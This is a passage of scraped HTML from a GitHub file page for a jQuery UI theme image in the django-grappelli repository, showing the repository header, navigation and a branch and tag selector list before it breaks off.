  <!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="/sehmaschine/django-grappelli/search"
class="js-site-search-form"
data-scoped-search-url="/sehmaschine/django-grappelli/search"
data-unscoped-search-url="/search"
method="get"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="&#x2713;" /></div>
    <label class="form-control header-search-wrapper
js-chromeless-input-container">
      <div class="header-search-scope">This
repository</div>
      <input type="text"
        class="form-control header-search-input js-site-search-focus
js-site-search-field is-clearable"
        data-hotkey="s"
        name="q"
        placeholder="Search"
        aria-label="Search this repository"
        data-unscoped-placeholder="Search GitHub"
        data-scoped-placeholder="Search"
        autocapitalize="off">
    </label>
</form></div>

        </nav>
    </div>
  </div>
</header>



    <div id="start-of-content"
class="accessibility-aid"></div>

      <div id="js-flash-container">
</div>


    <div role="main">
        <div itemscope
itemtype="http://schema.org/SoftwareSourceCode">
    <div id="js-repo-pjax-container" data-pjax-container>
      
<div class="pagehead repohead instapaper_ignore readability-menu
experiment-repo-nav">
  <div class="container repohead-details-container">

    

<ul class="pagehead-actions">

  <li>
      <a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
    class="btn btn-sm btn-with-count tooltipped tooltipped-n"
    aria-label="You must be signed in to watch a repository"
rel="nofollow">
    <svg aria-hidden="true" class="octicon
octicon-eye" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14
16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8
4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2
2-2 1.11 0 2 .89 2 2z"/></svg>
    Watch
  </a>
  <a class="social-count"
href="/sehmaschine/django-grappelli/watchers"
     aria-label="113 users are watching this repository">
    113
  </a>

  </li>

  <li>
      <a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
    class="btn btn-sm btn-with-count tooltipped tooltipped-n"
    aria-label="You must be signed in to star a repository"
rel="nofollow">
    <svg aria-hidden="true" class="octicon
octicon-star" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6
3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
    Star
  </a>

    <a class="social-count js-social-count"
href="/sehmaschine/django-grappelli/stargazers"
      aria-label="2013 users starred this repository">
      2,013
    </a>

  </li>

  <li>
      <a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
        class="btn btn-sm btn-with-count tooltipped tooltipped-n"
        aria-label="You must be signed in to fork a repository"
rel="nofollow">
        <svg aria-hidden="true" class="octicon
octicon-repo-forked" height="16" version="1.1"
viewBox="0 0 10 16" width="10"><path
fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3
6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993
1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8
1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0
.65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2
0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2
1.2z"/></svg>
        Fork
      </a>

    <a href="/sehmaschine/django-grappelli/network"
class="social-count"
       aria-label="518 users forked this repository">
      518
    </a>
  </li>
</ul>

    <h1 class="public ">
  <svg aria-hidden="true" class="octicon
octicon-repo" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
  <span class="author" itemprop="author"><a
href="/sehmaschine" class="url fn"
rel="author">sehmaschine</a></span><!--
--><span class="path-divider">/</span><!--
--><strong itemprop="name"><a
href="/sehmaschine/django-grappelli"
data-pjax="#js-repo-pjax-container">django-grappelli</a></strong>

</h1>

  </div>
  <div class="container">
    
<nav class="reponav js-repo-nav js-sidenav-container-pjax"
     itemscope
     itemtype="http://schema.org/BreadcrumbList"
     role="navigation"
     data-pjax="#js-repo-pjax-container">

  <span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
    <a href="/sehmaschine/django-grappelli/tree/grappelli_2_4"
class="js-selected-navigation-item selected reponav-item"
data-hotkey="g c" data-selected-links="repo_source
repo_downloads repo_commits repo_releases repo_tags repo_branches
/sehmaschine/django-grappelli/tree/grappelli_2_4"
itemprop="url">
      <svg aria-hidden="true" class="octicon
octicon-code" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
      <span itemprop="name">Code</span>
      <meta itemprop="position" content="1">
</a>  </span>

    <span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
      <a href="/sehmaschine/django-grappelli/issues"
class="js-selected-navigation-item reponav-item"
data-hotkey="g i" data-selected-links="repo_issues
repo_labels repo_milestones /sehmaschine/django-grappelli/issues"
itemprop="url">
        <svg aria-hidden="true" class="octicon
octicon-issue-opened" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0
4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0
6H6v2h2v-2z"/></svg>
        <span itemprop="name">Issues</span>
        <span class="counter">16</span>
        <meta itemprop="position" content="2">
</a>    </span>

  <span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
    <a href="/sehmaschine/django-grappelli/pulls"
class="js-selected-navigation-item reponav-item"
data-hotkey="g p" data-selected-links="repo_pulls
/sehmaschine/django-grappelli/pulls" itemprop="url">
      <svg aria-hidden="true" class="octicon
octicon-git-pull-request" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0
0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0
1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65
0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34
4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2
1.2z"/></svg>
      <span itemprop="name">Pull requests</span>
      <span class="counter">2</span>
      <meta itemprop="position" content="3">
</a>  </span>

  <a href="/sehmaschine/django-grappelli/projects"
class="js-selected-navigation-item reponav-item"
data-selected-links="repo_projects new_repo_project repo_project
/sehmaschine/django-grappelli/projects">
    <svg aria-hidden="true" class="octicon
octicon-project" height="16" version="1.1"
viewBox="0 0 15 16" width="15"><path
fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0
0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
    Projects
    <span class="counter">0</span>
</a>


  <a href="/sehmaschine/django-grappelli/pulse"
class="js-selected-navigation-item reponav-item"
data-selected-links="pulse
/sehmaschine/django-grappelli/pulse">
    <svg aria-hidden="true" class="octicon
octicon-pulse" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38
8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
    Pulse
</a>
  <a href="/sehmaschine/django-grappelli/graphs"
class="js-selected-navigation-item reponav-item"
data-selected-links="repo_graphs repo_contributors
/sehmaschine/django-grappelli/graphs">
    <svg aria-hidden="true" class="octicon
octicon-graph" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
    Graphs
</a>

</nav>

  </div>
</div>

<div class="container new-discussion-timeline
experiment-repo-nav">
  <div class="repository-content">

    

<a
href="/sehmaschine/django-grappelli/blob/3982e45e4afb9e792160103b0942099b1a21663f/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="d-none js-permalink-shortcut"
data-hotkey="y">Permalink</a>

<!-- blob contrib key:
blob_contributors:v21:d1982990f80b75ba8ee10b453af012ff -->

<div class="file-navigation js-zeroclipboard-container">
  
<div class="select-menu branch-select-menu js-menu-container
js-select-menu float-left">
  <button class="btn btn-sm select-menu-button js-menu-target
css-truncate" data-hotkey="w"
    
    type="button" aria-label="Switch branches or tags"
tabindex="0" aria-haspopup="true">
    <i>Branch:</i>
    <span class="js-select-button
css-truncate-target">grappelli_2_4</span>
  </button>

  <div class="select-menu-modal-holder js-menu-content
js-navigation-container" data-pjax aria-hidden="true">

    <div class="select-menu-modal">
      <div class="select-menu-header">
        <svg aria-label="Close" class="octicon octicon-x
js-menu-close" height="16" role="img"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd"
d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77
4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
        <span class="select-menu-title">Switch
branches/tags</span>
      </div>

      <div class="select-menu-filters">
        <div class="select-menu-text-filter">
          <input type="text" aria-label="Filter
branches/tags" id="context-commitish-filter-field"
class="form-control js-filterable-field js-navigation-enable"
placeholder="Filter branches/tags">
        </div>
        <div class="select-menu-tabs">
          <ul>
            <li class="select-menu-tab">
              <a href="#" data-tab-filter="branches"
data-filter-placeholder="Filter branches/tags"
class="js-select-menu-tab"
role="tab">Branches</a>
            </li>
            <li class="select-menu-tab">
              <a href="#" data-tab-filter="tags"
data-filter-placeholder="Find a tag…"
class="js-select-menu-tab" role="tab">Tags</a>
            </li>
          </ul>
        </div>
      </div>

      <div class="select-menu-list select-menu-tab-bucket
js-select-menu-tab-bucket" data-tab-filter="branches"
role="menu">

        <div
data-filterable-for="context-commitish-filter-field"
data-filterable-type="substring">


            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/autocomplete/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="autocomplete"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                autocomplete
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/compass/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="compass"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                compass
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/dev/2.5.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="dev/2.5.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                dev/2.5.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/dev/2.6.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="dev/2.6.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                dev/2.6.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/dev/2.7.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="dev/2.7.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                dev/2.7.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/dev/2.8.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="dev/2.8.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                dev/2.8.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/gh-pages/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="gh-pages"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                gh-pages
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappelli_2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_2"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappelli_2_1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_2_1"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_2_1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappelli_2_2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_2_2"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_2_2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappelli_2_3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_2_3"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_2_3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open selected"
              
href="/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_2_4"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_2_4
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappelli_3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappelli_3"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappelli_3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/grappellitest/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="grappellitest"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                grappellitest
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/haineault/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="haineault"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                haineault
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/master/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="master"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                master
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/revert-715-remove-inline-js-for-csp/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="revert-715-remove-inline-js-for-csp"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                revert-715-remove-inline-js-for-csp
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/sandbox/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="sandbox"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                sandbox
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.3.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.3.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.3.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.4.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.4.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.4.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.5.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.5.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.5.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.6.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.6.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.6.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.7.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.7.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.7.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.8.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.8.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.8.x
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
              
href="/sehmaschine/django-grappelli/blob/stable/2.9.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
               data-name="stable/2.9.x"
               data-skip-pjax="true"
               rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
                stable/2.9.x
              </span>
            </a>
        </div>

          <div class="select-menu-no-results">Nothing to
show</div>
      </div>

      <div class="select-menu-list select-menu-tab-bucket
js-select-menu-tab-bucket" data-tab-filter="tags">
        <div
data-filterable-for="context-commitish-filter-field"
data-filterable-type="substring">


            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.9.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.9.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.9.1">
                2.9.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.8.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.8.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.8.3">
                2.8.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.8.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.8.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
